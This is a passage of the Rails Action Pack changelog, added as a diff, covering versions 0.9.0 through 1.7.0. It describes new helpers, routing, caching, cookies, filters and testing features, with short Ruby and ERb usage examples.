+* Added pagination for scaffolding (10 items per page) #964 *mortonda@dgrmm.net*
+
+* Added assert_no_cookie and fixed assert_cookie_equal to deal with non-existing cookies #979 *Jeremy Kemper*
+
+* Fixed :overwrite_param so it doesn't delete but reject elements from @request.parameters #982 *raphinou@yahoo.com*
+
+* Added :method option to verify for ensuring that either GET, POST, etc is allowed #984 *Jamis Buck*
+
+* Added options to set cc, bcc, subject, and body for UrlHelper#mail_to #966 *DeLynn*
+
+* Fixed include_blank for select_hour/minute/second #527 *edward@debian.org*
+
+* Improved the message display on the exception handler pages #963 *Johan Sorensen*
+
+* Fixed that on very rare occasions, webrick would raise a NoMethodError: private method 'split' called for nil #1001 *Flurin Egger*
+
+* Fixed problem with page caching #958 *Rick Olson*
+
+
+## 1.7.0 (27th March, 2005) ##
+
+* Added ActionController::Base.page_cache_extension for setting the page cache file extension (the default is .html) #903 *Andreas*
+
+* Fixed "bad environment variable value" exception caused by Safari, Apache, and Ajax calls #918
+
+* Fixed that pagination_helper would ignore :params #947 *Sebastian Kanthak*
+
+* Added :owerwrite_params back to url_for and friends -- it was AWL since the introduction of Routes #921 *raphinou*
+
+* Added :position option to link_to_remote/form_remote_tag that can be either :before, :top, :bottom, or :after and specifies where the return from the method should be inserted #952 *Matthew McCray/Sam Stephenson*
+
+* Added Effect.Highlight to prototype.js to do Yellow Fade Technique (of 37signals' fame) on any container #952 *Sam Stephenson/court3nay*
+
+* Added include_seconds option as the third parameter to distance_of_time_in_words which will render "less than a minute" in higher resolution ("less than 10 seconds" etc) #944 *thomas@fesch.at*
+
+* Added fourth option to process in test cases to specify the content of the flash #949 *Jamis Buck*
+
+* Added Verifications that allows you to specify preconditions to actions in form of statements like <tt>verify :only => :update_post, :params => "admin_privileges", :redirect_to => { :action => "settings" }</tt>, which ensure that the update_post action is only called if admin_privileges is available as a parameter -- otherwise the user is redirected to settings. #897 *Jamis Buck*
+
+* Fixed Form.Serialize for the JavascriptHelper to also seriliaze password fields #934 *dweitzman@gmail.com*
+
+* Added JavascriptHelper#escape_javascript as a public method (was private) and made it escape both single and double quotes and new lines #940 *mortonda@dgrmm.net*
+
+* Added trailing_slash option to url_for, so you can generate urls ending in a slash. Note that is currently not recommended unless you need it for special reasons since it breaks caching #937 *stian@grytoyr.net*
+
+* Added expire_matched_fragments(regular_expression) to clear out a lot of fragment caches at once #927 *Rick Olson*
+
+* Fixed the problems with : and ? in file names for fragment caches on Windows #927 *Rick Olson*
+
+* Added TextHelper#human_size for formatting file sizes, like human_size(1234567) => 1.2 MB #943 *thomas@fesch.at*
+
+* Fixed link_to :confirm #936 *Nicholas Seckar*
+
+* Improved error reporting especially around never shallowing exceptions. Debugging helpers should be much easier now #980 *Nicholas Seckar*
+
+* Fixed Toggle.display in prototype.js #902 *Lucas Carlson*
+
+
+## 1.6.0 (22th March, 2005) ##
+
+* Added a JavascriptHelper and accompanying prototype.js library that opens the world of Ajax to Action Pack with a large array of options for dynamically interacting with an application without reloading the page #884 *Sam Stephenson/David*
+
+* Added pagination support through both a controller and helper add-on #817 *Sam Stephenson*
+
+* Fixed routing and helpers to make Rails work on non-vhost setups #826 *Nicholas Seckar/Tobias Lütke*
+
+* Added a much improved Flash module that allows for finer-grained control on expiration and allows you to flash the current action #839 [Caio Chassot]. Example of flash.now:
+
+ class SomethingController < ApplicationController
+ def save
+ ...
+ if @something.save
+ # will redirect, use flash
+ flash[:message] = 'Save successful'
+ redirect_to :action => 'list'
+ else
+ # no redirect, message is for current action, use flash.now
+ flash.now[:message] = 'Save failed, review'
+ render_action 'edit'
+ end
+ end
+ end
+
+* Added to_param call for parameters when composing an url using url_for from something else than strings #812 [Sam Stephenson]. Example:
+
+ class Page
+   def initialize(number)
+     @number = number
+   end
+   # ...
+   def to_param
+     @number.to_s
+   end
+ end
+
+ You can now use instances of Page with url_for:
+
+ class BarController < ApplicationController
+   def baz
+     page = Page.new(4)
+     url = url_for :page => page # => "http://foo/bar/baz?page=4"
+   end
+ end
+
+* Fixed form helpers to query Model#id_before_type_cast instead of Model#id as a temporary workaround for Ruby 1.8.2 warnings #818 *DeLynn B*
+
+* Fixed TextHelper#markdown to use blank? instead of empty? so it can deal with nil strings passed #814 *Johan Sörensen*
+
+* Added TextHelper#simple_format as a non-dependency text presentation helper #814 *Johan Sörensen*
+
+* Added that the html options disabled, readonly, and multiple can all be treated as booleans. So specifying <tt>disabled => :true</tt> will give <tt>disabled="disabled"</tt>. #809 *mindel*
+
+* Added path collection syntax for Routes that will gobble up the rest of the url and pass it on to the controller #830 [rayners]. Example:
+
+ map.connect 'categories/*path_info', :controller => 'categories', :action => 'show'
+
+ A request for /categories/top-level-cat, would give @params[:path_info] with "top-level-cat".
+ A request for /categories/top-level-cat/level-1-cat, would give @params[:path_info] with "top-level-cat/level-1-cat" and so forth.
+
+ The @params[:path_info] return is really an array, but where to_s has been overwritten to do join("/").
+
+* Fixed options_for_select on selected line issue #624 *Florian Weber*
+
+* Added CaptureHelper with CaptureHelper#capture and CaptureHelper#content_for. See documentation in helper #837 *Tobias Lütke*
+
+* Fixed :anchor use in url_for #821 *Nicholas Seckar*
+
+* Removed the reliance on PATH_INFO as it was causing problems for caching and inhibited the new non-vhost support #822 *Nicholas Seckar*
+
+* Added assigns shortcut for @response.template.assigns to controller test cases [Jeremy Kemper]. Example:
+
+ Before:
+
+ def test_list
+ assert_equal 5, @response.template.assigns['recipes'].size
+ assert_equal 8, @response.template.assigns['categories'].size
+ end
+
+ After:
+
+ def test_list
+ assert_equal 5, assigns(:recipes).size
+ assert_equal 8, assigns(:categories).size
+ end
+
+* Added TagHelper#image_tag and deprecated UrlHelper#link_image_to (recommended approach is to combine image_tag and link_to instead)
+
+* Fixed textilize to be resilient to getting nil parsed (by using Object#blank? instead of String#empty?)
+
+* Fixed that the :multipart option in FormTagHelper#form_tag would be ignored *Yonatan Feldman*
+
+
+## 1.5.1 (7th March, 2005) ##
+
+* Fixed that the routes.rb file wouldn't be found on symlinked setups due to File.expand_path #793 *piotr@t-p-l.com*
+
+* Changed ActiveRecordStore to use Marshal instead of YAML as the latter proved troublesome in persisting circular dependencies. Updating existing applications MUST clear their existing session table from data to start using this updated store #739 *Jamis Buck*
+
+* Added shortcut :id assignment to render_component and friends (before you had to go through :params) #784 *Lucas Carlson*
+
+* Fixed that map.connect should convert arguments to strings #780 *Nicholas Seckar*
+
+* Added UrlHelper#link_to_if/link_to_unless to enable other conditions that just link_to_unless_current #757 *mindel*
+
+* Fixed that single quote was not escaped in a UrlHelper#link_to javascript confirm #549 *Scott Barron*
+
+* Removed the default border on link_image_to (it broke xhtml strict) -- can be specified with :border => 0 #517 *?/caleb*
+
+* Fixed that form helpers would treat string and symbol keys differently in html_options (and possibly create duplicate entries) #112 *Jeremy Kemper*
+
+* Fixed that broken pipe errors (clients disconnecting in mid-request) could bring down a fcgi process
+
+* Added the original exception message to session recall errors (so you can see which class wasnt required)
+
+* Fixed that RAILS_ROOT might not be defined when AP was loaded, so do a late initialization of the ROUTE_FILE #761 *Scott Barron*
+
+* Fix request.path_info and clear up LoadingModule behavior #754 *Nicholas Seckar*
+
+* Fixed caching to be aware of extensions (so you can cache files like api.wsdl or logo.png) #734 *Nicholas Seckar*
+
+* Fixed that Routes would raise NameErrors if a controller component contains characters that are not valid constant names #733 *Nicholas Seckar*
+
+* Added PATH_INFO access from the request that allows urls like the following to be interpreted by rails: http://www.example.com/dispatcher.cgi/controller/action -- that makes it possible to use rails as a CGI under lighttpd and would also allow (for example) Rublog to be ported to rails without breaking existing links to Rublog-powered blogs. #728 *Jamis Buck*
+
+* Fixed that caching the root would result in .html not index.html #731, #734 *alisdair/Nicholas Seckar*
+
+
+## 1.5.0 (24th February, 2005) ##
+
+* Added Routing as a replacement for mod_rewrite pretty urls [Nicholas Seckar]. Read more in ActionController::Base.url_for and on http://manuals.rubyonrails.com/read/book/9
+
+* Added components that allows you to call other actions for their rendered response while execution another action. You can either delegate the entire response rendering or you can mix a partial response in with your other content. Read more on http://manuals.rubyonrails.com/read/book/14
+
+*  Fixed that proxy IPs do not follow all RFC1918 nets #251 *caleb@aei-tech.com*
+
+* Added Base#render_to_string to parse a template and get the result back as a string #479
+
+* Fixed that send_file/data can work even if render* has been called before in action processing to render the content of a file to be send for example #601
+
+* Added FormOptionsHelper#time_zone_select and FormOptionsHelper#time_zone_options_for_select to work with the new value object TimeZone in Active Support #688 *Jamis Buck*
+
+* Added FormHelper#file_field and FormTagHelper#file_field_tag for creating file upload fields
+
+* Added :order option for date_select that allows control over the order in which the date dropdowns is used and which of them should be used #619 [Tim Bates]. Examples:
+
+ date_select("post", "written_on", :order => [:day, :month, :year])
+ date_select("user", "birthday", :order => [:month, :day])
+
+* Added ActionView::Base.register_template_handler for easy integration of an alternative template language to ERb and Builder. See test/controller/custom_handler_test.rb for a usage example #656 *Jamis Buck*
+
+* Added AssetTagHelper that provides methods for linking a HTML page together with other assets, such as javascripts, stylesheets, and feeds.
+
+* Added FormTagHelper that provides a number of methods for creating form tags that doesn't rely on conventions with an object assigned to the template like FormHelper does. With the FormTagHelper, you provide the names and values yourself.
+
+* Added Afghanistan, Iran, and Iraq to the countries list used by FormOptions#country_select and FormOptions#country_options_for_select
+
+* Renamed link_to_image to link_image_to (since thats what it actually does) -- kept alias for the old method name
+
+* Fixed textilize for RedCloth3 to keep doing hardbreaks
+
+* Fixed that assert_template_xpath_matches did not indicate when a path was not found #658 *Eric Hodel*
+
+* Added TextHelper#auto_link to turn email addresses and urls into ahrefs
+
+* Fixed that on validation errors, scaffold couldn't find template #654 *mindel*
+
+* Added Base#hide_action(*names) to hide public methods from a controller that would otherwise have been callable through the URL. For the majority of cases, its preferred just to make the methods you don't want to expose protected or private (so they'll automatically be hidden) -- but if you must have a public method, this is a way to make it uncallable. Base#hidden_actions retrieve the list of all hidden actions for the controller #644 *Nicholas Seckar*
+
+* Fixed that a bunch of methods from ActionController::Base was accessible as actions (callable through a URL) when they shouldn't have been #644 *Nicholas Seckar*
+
+* Added UrlHelper#current_page?(options) method to check if the url_for options passed corresponds to the current page
+
+* Fixed https handling on other ports than 443 *Alan Gano*
+
+* Added follow_redirect method for functional tests that'll get-request the redirect that was made. Example:
+
+ def test_create_post
+ post :create, "post" => { "title" => "Exciting!" }
+ assert_redirected_to :action => "show"
+
+ follow_redirect
+ assert_rendered_file "post/show"
+ end
+
+ Limitation: Only works for redirects to other actions within the same controller.
+
+* Fixed double requiring of models with the same name as the controller
+
+* Fixed that query params could be forced to nil on a POST due to the raw post fix #562 *moriq@moriq.com*
+
+* Fixed that cookies shouldn't be frozen in TestRequest #571 *Eric Hodel*
+
+
+## 1.4.0 (January 25th, 2005) ##
+
+* Fixed problems with ActiveRecordStore under the development environment in Rails
+
+* Fixed the ordering of attributes in the xml-decleration of Builder #540 *woeye*
+
+* Added @request.raw_post as a convenience access to @request.env['RAW_POST_DATA'] #534 *Tobias Lütke*
+
+* Added support for automatic id-based indexing for lists of items #532 [dblack]. Example:
+
+ <% @students.each do |@student| %>
+ <%= text_field "student[]", "first_name", :size => "20" %>
+ <%= text_field "student[]", "last_name" %>
+ <%= text_field "student[]", "grade", :size => "5" %>
+ <% end %>
+
+ ...would produce, for say David Black with id 123 and a grace of C+:
+
+ <input id="student_123_first_name" name="student[123][first_name]" size="20" size="30" type="text" value="David" />
+ <input id="student_123_last_name" name="student[123][last_name]" size="30" type="text" value="Black" />
+ <input id="student_123_grade" name="student[123][grade]" size="5" type="text" value="C+" />
+
+* Added :application_prefix to url_for and friends that makes it easier to setup Rails in non-vhost environments #516 *Jamis Buck*
+
+* Added :encode option to mail_to that'll allow you to masquarede the email address behind javascript or hex encoding #494 *Lucas Carlson*
+
+* Fixed that the content-header was being set to application/octet_stream instead of application/octet-stream on send_date/file *Alexey*
+
+* Removed the need for passing the binding when using CacheHelper#cache
+
+* Added TestResponse#binary_content that'll return as a string the data sent through send_data/send_file for testing #500 *Alexey*
+
+* Added @request.env['RAW_POST_DATA'] for people who need access to the data before Ruby's CGI has parsed it #505 *Jeremy Kemper*
+
+* Fixed that a default fragment store wan't being set to MemoryStore as intended.
+
+* Fixed that all redirect and render calls now return true, so you can use the pattern of "do and return". Example:
+
+ def show
+ redirect_to(:action => "login") and return unless @person.authenticated?
+ render_text "I won't happen unless the person is authenticated"
+ end
+
+* Added that renders and redirects called in before_filters will have the same effect as returning false: stopping the chain. Example:
+
+ class WeblogController
+ before_filter { |c| c.send(:redirect_to_url("http://www.farfaraway.com")}) }
+
+ def hello
+ render_text "I will never be called"
+ end
+ end
+
+
+* Added that only one render or redirect can happen per action. The first call wins and subsequent calls are ignored. Example:
+
+ def do_something
+ redirect_to :action => "elsewhere"
+ render_action "overthere"
+ end
+
+ Only the redirect happens. The rendering call is simply ignored.
+
+
+## 1.3.1 (January 18th, 2005) ##
+
+* Fixed a bug where cookies wouldn't be set if a symbol was used instead of a string as the key
+
+* Added assert_cookie_equal to assert the contents of a named cookie
+
+* Fixed bug in page caching that prevented it from working at all
+
+
+## 1.3.0 (January 17th, 2005) ##
+
+* Added an extensive caching module that offers three levels of granularity (page, action, fragment) and a variety of stores.
+ Read more in ActionController::Caching.
+
+* Added the option of passing a block to ActiveRecordHelper#form in order to add more to the auto-generated form #469 *dom@sisna.com*
+
+ form("entry", :action => "sign") do |form|
+ form << content_tag("b", "Department")
+ form << collection_select("department", "id", @departments, "id", "name")
+ end
+
+* Added arrays as a value option for params in url_for and friends #467 [Eric Anderson]. Example:
+
+ url_for(:controller => 'user', :action => 'delete', :params => { 'username' => %( paul john steve ) } )
+ # => /user/delete?username[]=paul&username[]=john&username[]=steve
+
+* Fixed that controller tests can now assert on the use of cookies #466 *Alexey*
+
+* Fixed that send_file would "remember" all the files sent by adding to the headers again and again #458 *Jeremy Kemper*
+
+* Fixed url rewriter confusion when the controller or action name was a substring of the controller_prefix or action_prefix
+
+* Added conditional layouts like <tt>layout "weblog_standard", :except => :rss</tt> #452 *Marcel Molina Jr.*
+
+* Fixed that MemCacheStore wasn't included by default and added default MemCache object pointing to localhost #447 *Lucas Carlson*
+
+* Added fourth argument to render_collection_of_partials that allows you to specify local_assigns -- just like render_partial #432 *Ryan Davis*
+
+* Fixed that host would choke when cgi.host returned nil #432 *Tobias Lütke*
+
+* Added that form helpers now take an index option #448 *Tim Bates*
+
+ Example:
+ text_field "person", "name", "index" => 3
+
+ Becomes:
+ <input type="text" name="person[3][name]" id="person_3_name" value="<%= @person.name %>" />
+
+* Fixed three issues with retrying breakpoints #417 *Florian Gross*
+
+ 1. Don't screw up pages that use multiple values for the same parameter (?foo=bar&foo=qux was converted to ?foo=barqux)
+ 2. Don't screw up all forms when you click the "Retry with Breakpoint" link multiple times instead of reloading
+ (This caused the parameters to be added multiple times for GET forms leading to trouble.)
+ 3. Don't add ?BP-RETRY=1 multiple times
+
+* Added that all renders and redirects now return false, so they can be used as the last line in before_filters to stop execution.
+
+ Before:
+ def authenticate
+ unless @session[:authenticated]
+ redirect_to :controller => "account", :action => "login"
+ return false
+ end
+ end
+
+ After:
+ def authenticate
+ redirect_to(:controller => "account", :action => "login") unless @session[:authenticated]
+ end
+
+* Added conditional filters #431 [Marcel Molina Jr.]. Example:
+
+ class JournalController < ActionController::Base
+ # only require authentication if the current action is edit or delete
+ before_filter :authorize, :only_on => [ :edit, :delete ]
+
+ private
+ def authorize
+ # redirect to login unless authenticated
+ end
+ end
+
+* Added Base#render_nothing as a cleaner way of doing render_text "" when you're not interested in returning anything but an empty response.
+
+* Added the possibility of passing nil to UrlHelper#link_to to use the link itself as the name
+
+
+## 1.2.0 (January 4th, 2005) ##
+
+* Added MemCacheStore for storing session data in Danga's MemCache system *Bob Cottrell*
+ Depends on: MemCached server (http://www.danga.com/memcached/), MemCache client (http://raa.ruby-lang.org/project/memcache/)
+
+* Added thread-safety to the DRbStore #66, #389 *Ben Stiglitz*
+
+* Added DateHelper#select_time and DateHelper#select_second #373 *Scott Baron*
+
+* Added :host and :protocol options to url_for and friends to redirect to another host and protocol than the current.
+
+* Added class declaration for the MissingFile exception #388 *Kent Sibilev*
+
+* Added "short hypertext note with a hyperlink to the new URI(s)" to redirects to fulfill compliance with RFC 2616 (HTTP/1.1) section 10.3.3 #397 *Tim Bates*
+
+* Added second boolean parameter to Base.redirect_to_url and Response#redirect to control whether the redirect is permanent or not (301 vs 302) #375 *Hodel*
+
+* Fixed redirects when the controller and action is named the same. Still haven't fixed same controller, module, and action, though #201 *Josh Peek*
+
+* Fixed problems with running multiple functional tests in Rails under 1.8.2 by including hack for test/unit weirdness
+
+* Fixed that @request.remote_ip didn't work in the test environment #369 *Bruno Mattarollo*
+
+
+## 1.1.0 ##
+
+* Added search through session to clear out association caches at the end of each request. This makes it possible to place Active Record objects
+ in the session without worrying about stale data in the associations (the main object is still subject to caching, naturally) #347 *Tobias Lütke*
+
+* Added more informative exception when using helper :some_helper and the helper requires another file that fails, you'll get an
+ error message tells you what file actually failed to load, rather than falling back on assuming it was the helper file itself #346 *dblack*
+
+* Added use of *_before_type_cast for all input and text fields. This is helpful for getting "100,000" back on a integer-based
+ validation where the value would normally be "100".
+
+* Added Request#port_string to get something like ":8080" back on 8080 and "" on 80 (or 443 with https).
+
+* Added Request#domain (returns string) and Request#subdomains (returns array).
+
+* Added POST support for the breakpoint retries, so form processing that raises an exception can be retried with the original request *Florian Gross*
+
+* Fixed regression with Base#reset_session that wouldn't use the DEFAULT_SESSION_OPTIONS *adam@the-kramers.net*
+
+* Fixed error rendering of rxml documents to not just swallow the exception and return 0 (still not guessing the right line, but hey)
+
+* Fixed that textilize and markdown would instantiate their engines even on empty strings. This also fixes #333 *Ulysses*
+
+* Fixed UrlHelper#link_to_unless so it doesn't care if the id is a string or fixnum *Ryan Davis*
+
+
+## 1.0.1 ##
+
+* Fixed a bug that would cause an ApplicationController to require itself three times and hence cause filters to be run three times *evl*
+
+
+## 1.0 ##
+
+* Added that controllers will now attempt to require a model dependency with their name and in a singular attempt for their name.
+ So both PostController and PostsController will automatically have the post.rb model required. If no model is found, no error is raised,
+ as it is then expected that no match is available and the programmer will have included his own models.
+
+* Fixed DateHelper#date_select so that you can pass include_blank as an option even if you don't use start_year and end_year #59 *what-a-day*
+
+* Added that controllers will now search for a layout in $template_root/layouts/$controller_name.r(html|xml), so PostsController will look
+ for layouts/posts.rhtml or layouts/posts.rxml and automatically configure this layout if found #307 *Marcel Molina Jr.*
+
+* Added FormHelper#radio_button to work with radio buttons like its already possible with check boxes *Michael Koziarski*
+
+* Added TemplateError#backtrace that makes it much easier to debug template errors from unit and functional tests
+
+* Added display of error messages with scaffolded form pages
+
+* Added option to ERB templates to swallow newlines by using <% if something -%> instead of just <% if something %>. Example:
+
+ class SomeController < ApplicationController
+ <% if options[:scaffold] %>
+ scaffold :<%= singular_name %>
+ <% end %>
+ helper :post
+
+ ...produces this on post as singular_name:
+
+ class SomeController < ApplicationController
+
+ scaffold :post
+
+ helper :post
+
+ ...where as:
+
+ class SomeController < ApplicationController
+ <% if options[:scaffold] -%>
+ scaffold :<%= singular_name %>
+ <% end -%>
+ helper :post
+
+ ...produces:
+
+ class SomeController < ApplicationController
+ scaffold :post
+ helper :post
+
+ *This undocumented gem for ERb was uncovered by bitsweat*
+
+* Fixed CgiRequest so that it'll now accept session options with Symbols as keys (as the documentation points out) *Suggested by Andreas*
+
+* Added that render_partial will always by default include a counter with value 1 unless there is a counter passed in via the
+ local_assigns hash that overrides it. As a result, render_collection_of_partials can still be written in terms of render_partial
+ and partials that make use of a counter can be called without problems from both render_collection_of_partials as well as
+ render_partial #295 *Marcel Molina Jr.*
+
+* Fixed CgiRequest#out to fall back to #write if $stdout doesn't have #syswrite *Jeremy Kemper*
+
+* Fixed all helpers so that they use XHTML compliant double quotes for values instead of single quotes *htonl/Jeremy Kemper*
+
+* Added link_to_image(src, options = {}, html_options = {}). Documentation:
+
+ Creates a link tag to the image residing at the +src+ using an URL created by the set of +options+. See the valid options in
+ link:classes/ActionController/Base.html#M000021. It's also possible to pass a string instead of an options hash to
+ get a link tag that just points without consideration. The <tt>html_options</tt> works jointly for the image and ahref tag by
+ letting the following special values enter the options on the image and the rest goes to the ahref:
+
+ ::alt: If no alt text is given, the file name part of the +src+ is used (capitalized and without the extension)
+ ::size: Supplied as "XxY", so "30x45" becomes width="30" and height="45"
+ ::align: Sets the alignment, no special features
+
+ The +src+ can be supplied as a...
+ * full path, like "/my_images/image.gif"
+ * file name, like "rss.gif", that gets expanded to "/images/rss.gif"
+ * file name without extension, like "logo", that gets expanded to "/images/logo.png"
+
+* Fixed to_input_field_tag so it no longer explicitly uses InstanceTag.value if value was specified in the options hash *evl*
+
+* Added the possibility of having validate be protected for assert_(in)valid_column #263 *Tobias Lütke*
+
+* Added that ActiveRecordHelper#form now calls url_for on the :action option.
+
+* Added all the HTTP methods as alternatives to the generic "process" for functional testing #276 [Tobias Lütke]. Examples:
+
+ # Calls Controller#miletone with a GET request
+ process :milestone
+
+ # Calls Controller#miletone with a POST request that has parameters
+ post :milestone, { "name" => "David" }
+
+ # Calls Controller#milestone with a HEAD request that has both parameters and session data
+ head :milestone, { "id" => 1 }, { "user_id" => 23 }
+
+ This is especially useful for testing idiomatic REST web services.
+
+* Added proper handling of HEAD requests, so that content isn't returned (Request#head? added as well) #277 *Eric Hodel*
+
+* Added indifference to whether @headers["Content-Type"], @headers["Content-type"], or @headers["content-type"] is used.
+
+* Added TestSession#session_id that returns an empty string to make it easier to functional test applications that doesn't use
+ cookie-based sessions #275 *jcf*
+
+* Fixed that cached template loading would still check the file system to see if the file existed #258 *Andreas Schwarz*
+
+* Added options to tailor header tag, div id, and div class on ActiveRecordHelper#error_messages_for *Josh Peek*
+
+* Added graceful handling of non-alphanumeric names and misplaced brackets in input parameters *Jeremy Kemper*
+
+* Added a new container for cookies that makes them more intuative to use. The old methods of cookie and @cookies have been deprecated.
+
+ Examples for writing:
+
+ cookies["user_name"] = "david" # => Will set a simple session cookie
+ cookies["login"] = { "value" => "XJ-122", "expires" => Time.now + 360} # => Will set a cookie that expires in 1 hour
+
+ Examples for reading:
+
+ cookies["user_name"] # => "david"
+ cookies.size # => 2
+
+ Read more in ActionController::Cookies
+
+ NOTE: If you were using the old accessor (cookies instead of @cookies), this could potentially break your code -- if you expect a full cookie object!
+
+* Added the opportunity to defined method_missing on a controller which will handle all requests for actions not otherwise defined #223 *timb*
+
+* Fixed AbstractRequest#remote_ip for users going through proxies - Patch #228 *Eric Hodel*
+
+* Added Request#ssl? which is shorthand for @request.protocol == "https://"
+
+* Added the choice to call form_tag with no arguments (resulting in a form posting to current action) *Jeremy Kemper*
+
+* Upgraded to Builder 1.2.1
+
+* Added :module as an alias for :controller_prefix to url_for and friends, so you can do redirect_to(:module => "shop", :controller => "purchases")
+ and go to /shop/purchases/
+
+* Added support for controllers in modules through @params["module"].
+
+* Added reloading for dependencies under cached environments like FastCGI and mod_ruby. This makes it possible to use those environments for development.
+ This is turned on by default, but can be turned off with ActionController::Base.reload_dependencies = false in production environments.
+
+ NOTE: This will only have an effect if you use the new model, service, and observer class methods to mark dependencies. All libraries loaded through
+ require will be "forever" cached. You can, however, use ActionController::Base.load_or_require("library") to get this behavior outside of the new
+ dependency style.
+
+* Added that controllers will automatically require their own helper if possible. So instead of doing:
+
+ class MsgController < ApplicationController
+ helper :msg
+ end
+
+ ...you can just do:
+
+ class MsgController < ApplicationController
+ end
+
+* Added dependencies_on(layer) to query the dependencies of a controller. Examples:
+
+ MsgController.dependencies_on(:model) # => [ :post, :comment, :attachment ]
+ MsgController.dependencies_on(:service) # => [ :notification_service ]
+ MsgController.dependencies_on(:observer) # => [ :comment_observer ]
+
+* Added a new dependency model with the class methods model, service, and observer. Example:
+
+ class MsgController < ApplicationController
+ model :post, :comment, :attachment
+ service :notification_service
+ observer :comment_observer
+ end
+
+ These new "keywords" remove the need for explicitly calling 'require' in most cases. The observer method even instantiates the
+ observer as well as requiring it.
+
+* Fixed that link_to would escape & in the url again after url_for already had done so
+
+
+## 0.9.5 (28) ##
+
+* Added helper_method to designate that a given private or protected method you should available as a helper in the view. *Jeremy Kemper*
+
+* Fixed assert_rendered_file so it actually verifies if that was the rendered file *htonl*
+
+* Added the option for sharing partial spacer templates just like partials themselves *radsaq*
+
+* Fixed that Russia was named twice in country_select *alexey*
+
+* Fixed request_origin to use remote_ip instead of remote_addr *Jeremy Kemper*
+
+* Fixed link_to breakage when nil was passed for html_options *alexey*
+
+* Fixed redirect_to on a virtual server setup with apache with a port other than the default where it would forget the port number *seanohalpin*
+
+* Fixed that auto-loading webrick on Windows would cause file uploads to fail *Jeremy Kemper*
+
+* Fixed issues with sending files on WEBrick by setting the proper binmode *Jeremy Kemper*
+
+* Added send_data as an alternative to send_file when the stream is not read off the filesystem but from a database or generated live *Jeremy Kemper*
+
+* Added a new way to include helpers that doesn't require the include hack and can go without the explicit require. *Jeremy Kemper*
+
+ Before:
+
+ module WeblogHelper
+ def self.included(controller) #:nodoc:
+ controller.ancestors.include?(ActionController::Base) ? controller.add_template_helper(self) : super
+ end
+ end
+
+ require 'weblog_helper'
+ class WeblogController < ActionController::Base
+ include WeblogHelper
+ end
+
+ After:
+
+ module WeblogHelper
+ end
+
+ class WeblogController < ActionController::Base
+ helper :weblog
+ end
+
+* Added a default content-type of "text/xml" to .rxml renders *Ryan Platte*
+
+* Fixed that when /controller/index was requested by the browser, url_for would generates wrong URLs *Ryan Platte*
+
+* Fixed a bug that would share cookies between users when using FastCGI and mod_ruby *The Robot Co-op*
+
+* Added an optional third hash parameter to the process method in functional tests that takes the session data to be used *alexey*
+
+* Added UrlHelper#mail_to to make it easier to create mailto: style ahrefs
+
+* Added better error messages for layouts declared with the .rhtml extension (which they shouldn't) *geech*
+
+* Added another case to DateHelper#distance_in_minutes to return "less than a minute" instead of "0 minutes" and "1 minute" instead of "1 minutes"
+
+* Added a hidden field to checkboxes generated with FormHelper#check_box that will make sure that the unchecked value (usually 0)
+ is sent even if the checkbox is not checked. This relieves the controller from doing custom checking if the checkbox wasn't
+ checked. BEWARE: This might conflict with your run-on-the-mill work-around code. *Tobias Lütke*
+
+* Fixed error_message_on to just use the first if more than one error had been added *Marcel Molina Jr.*
+
+* Fixed that URL rewriting with /controller/ was working but /controller was not and that you couldn't use :id on index *geech*
+
+* Fixed a bug with link_to where the :confirm option wouldn't be picked up if the link was a straight url instead of an option hash
+
+* Changed scaffolding of forms to use <label> tags instead of <b> to please W3C *evl*
+
+* Added DateHelper#distance_of_time_in_words_to_now(from_time) that works like distance_of_time_in_words,
+ but where <tt>to_time</tt> is fixed to <tt>Time.now</tt>.
+
+* Added assert_flash_equal(expected, key, message), assert_session_equal(expected, key, message),
+ assert_assigned_equal(expected, key, message) to test the contents of flash, session, and template assigns.
+
+* Improved the failure report on assert_success when the action triggered a redirection [alexey].
+
+* Added "markdown" to accompany "textilize" as a TextHelper method for converting text to HTML using the Markdown syntax.
+ BlueCloth must be installed in order for this method to become available.
+
+* Made sure that an active session exists before we attempt to delete it *Samuel*
+
+* Changed link_to with Javascript confirmation to use onclick instead of onClick for XHTML validity *Scott Barron*
+
+
+## 0.9.0 (43) ##
+
+* Added support for Builder-based templates for files with the .rxml extension. These new templates are an alternative to ERb that
+ are especially useful for generating XML content, such as this RSS example from Basecamp:
+
+ xml.rss("version" => "2.0", "xmlns:dc" => "http://purl.org/dc/elements/1.1/") do
+ xml.channel do
+ xml.title(@feed_title)
+ xml.link(@url)
+ xml.description "Basecamp: Recent items"
+ xml.language "en-us"
+ xml.ttl "40"
+
+ for item in @recent_items
+ xml.item do
+ xml.title(item_title(item))
+ xml.description(item_description(item)) if item_description(item)
+ xml.pubDate(item_pubDate(item))
+ xml.guid(@person.firm.account.url + @recent_items.url(item))
+ xml.link(@person.firm.account.url + @recent_items.url(item))
+
+ xml.tag!("dc:creator", item.author_name) if item_has_creator?(item)
+ end
+ end
+ end
+ end
+
+ ...which will generate something like:
+
+ <rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/">
+ <channel>
+ <title>Web Site Redesign</title>
+ <link>http://www.basecamphq.com/clients/travelcenter/1/</link>
+ <description>Basecamp: Recent items</description>
+ <language>en-us</language>
+ <ttl>40</ttl>
+ <item>
+ <title>Post: don't you know</title>
+ <description>&amp;lt;p&amp;gt;deeper and down&amp;lt;/p&amp;gt;</description>
+ <pubDate>Fri, 20 Aug 2004 21:13:50 CEST</pubDate>
+ <guid>http://www.basecamphq.com/clients/travelcenter/1/msg/assets/96976/comments</guid>
+ <link>http://www.basecamphq.com/clients/travelcenter/1/msg/assets/96976/comments</link>
+ <dc:creator>David H. Heinemeier</dc:creator>
+ </item>
+ <item>
+ <title>Milestone completed: Design Comp 2</title>
+ <pubDate>Mon, 9 Aug 2004 14:42:06 CEST</pubDate>
+ <guid>http://www.basecamphq.com/clients/travelcenter/1/milestones/#49</guid>
+ <link>http://www.basecamphq.com/clients/travelcenter/1/milestones/#49</link>
+ </item>
+ </channel>
+ </rss>
+
+ The "xml" local variable is automatically available in .rxml templates. You construct the template by calling a method with the name
+ of the tag you want. Options for the tag can be specified as a hash parameter to that method.
+
+ Builder-based templates can be mixed and matched with the regular ERb ones. The only thing that differentiates them is the extension.
+ No new methods have been added to the public interface to handle them.
+
+ Action Pack ships with a version of Builder, but it will use the RubyGems version if you have one installed.
+
+ Read more about Builder on: http://onestepback.org/index.cgi/Tech/Ruby/StayingSimple.rdoc
+
+ *Builder is created by Jim Weirich*
+
+* Added much improved support for functional testing [what-a-day].
+
+ # Old style
+ def test_failing_authenticate
+ @request.request_uri = "/login/authenticate"
+ @request.action = "authenticate"
+ @request.request_parameters["user_name"] = "nop"
